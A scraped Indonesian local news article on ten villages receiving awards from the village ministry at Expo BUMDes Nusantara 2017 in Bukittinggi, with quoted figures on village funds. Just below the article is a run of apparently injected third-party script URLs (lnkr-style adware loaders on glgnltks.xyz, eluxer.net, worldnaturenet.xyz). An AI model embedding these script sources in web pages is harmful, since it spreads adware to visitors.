Ruang Publik

Sepuluh Desa Menerima Award dari Mendes PDTT di Bukittinggi

HaloBukittinggi : Mentri Desa Pembangunan Daerah Tertinggal dan Transmigrasi Eko Putro Sandjojo memberikan penghargaan atau reward pada sepuluh desa di Indonesia yang dinilai telah mampu menjalankan Badan Usaha Milik Desa (BUMDes), yang menjadi salah satu program prioritas Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (Kemendes PDTT) Tahun 2017.

Pemberian reward itu dilaksanakan dalam rangkaian acara Expo BUMDes Nusantara 2017, yang berlangsung di Kota Bukittinggi, dari tanggal 13 hingga 14 Mei 2017, yang berlokasi di lapangan kantin.

Adapun ke sepuluh desa yang berhasil memperoleh reward itu adalah, untuk kategori perkembangan desa tercepat diberikan pada Sungai Nyalo Kabupaten Pesisir Selatan Sumatera Barat, Desa adat Desa Madobak Mentawai Sumatera Barat, Desa wisata jejaring bisnis Tamansari Banyuwangi, Desa wisata agro Malang Pujon Kidul, Desa wisata iptek Seigentung Gunkid.

Berikut Desa wisata bidaya, Ubud Goanyar Bali, Desa wisata alam, NTT Kabupaten Ende Desa Waturaka, Desa pemberdayaan masyarakat Ponggok Klaten Jawa Tengah, Desa wisata kreatif Teluk Meranti Lalawan Provinsi Riau, dan Desa wisata maritim Bontagula Bontang Kalimantan Timur, yang masing-masing nya menerima dana bantuan pengembangan BUMDes sebesar Rp 2 juta.

Menurut Eko Putro Sandjojo, pemberian penghargaan pada desa ini merupakan pertimbangan dari Mendes PDTT bagi desa yang telah mampu mengelola dana yang telah disalurkan, dan terbukti meningkatkan kegiatan ekonomi masyarakat desa, sehingga mampu menampung, mengkonsolidasi, dan mewadahi kegiatan usaha ekonomi desa.

“Hadirnya BUMDes menjadi jawaban untuk menggerakkan ekonomi desa. Disisi lain, dana desa yang disalurkan merupakan program utama pemerintah yang menggelontorkan dana langsung ke desa, sehingga desa bersangkutan mampu berkembang secara mandiri,” terangnya, Sabtu (13/5/2017) malam.

Eko Putro Sandjojo menambahkan, dana desa telah meningkatkan status desa menjadi maju dan berkembang. Tahun lalu tercapai 11 ribu desa berkembang yang awalnya tertinggal dan 7.000 desa maju. Melebihi target RPJM 2019 yaitu 5.000 desa berkembang dan 2.000 desa maju.

“Dana desa terus membuktikan hasilnya yaitu terbangunnya jalan desa sepanjang 66.884 km, jembatan sepanjang 511,9 km, embung sebanyak 686, saluran irigasi sebanyak 12.596.  Di samping itu penyerapan dana desa dari 80% menjadi 99,89%,” ungkapnya.

Untuk menunjang BUMDes sambung Eko Putro Sandjojo, Kemendes PDTT memiliki program unggulan, pertama Produk Unggulan Desa yang dilatarbelakangi oleh upaya peningkatan skala ekonomi, membuka kesempatan kerja, mendrong partisipasi masyarakat luas, dan memberi ruang keterlibatan pada pelaku ekonomi.

Program unggulan kedua, BUMDes sebagai mesin penggerak ekonomi rakyat yang meliputi pembinaan manajeman, sumberdaya manusia dan kreatifitas, berikut yang ketiga membangun embung air desa yang dapat dimanfaatkan untuk meningkatkan produktivitas pertanian, serta program unggulan keempat menciptakan sarana olahraga desa, yang merupakan tindak lanjut dari rapat terbatas tentang percepatan pembangunan sepakbola nasional. (Dipra)

 

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565_4460_&r=40https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top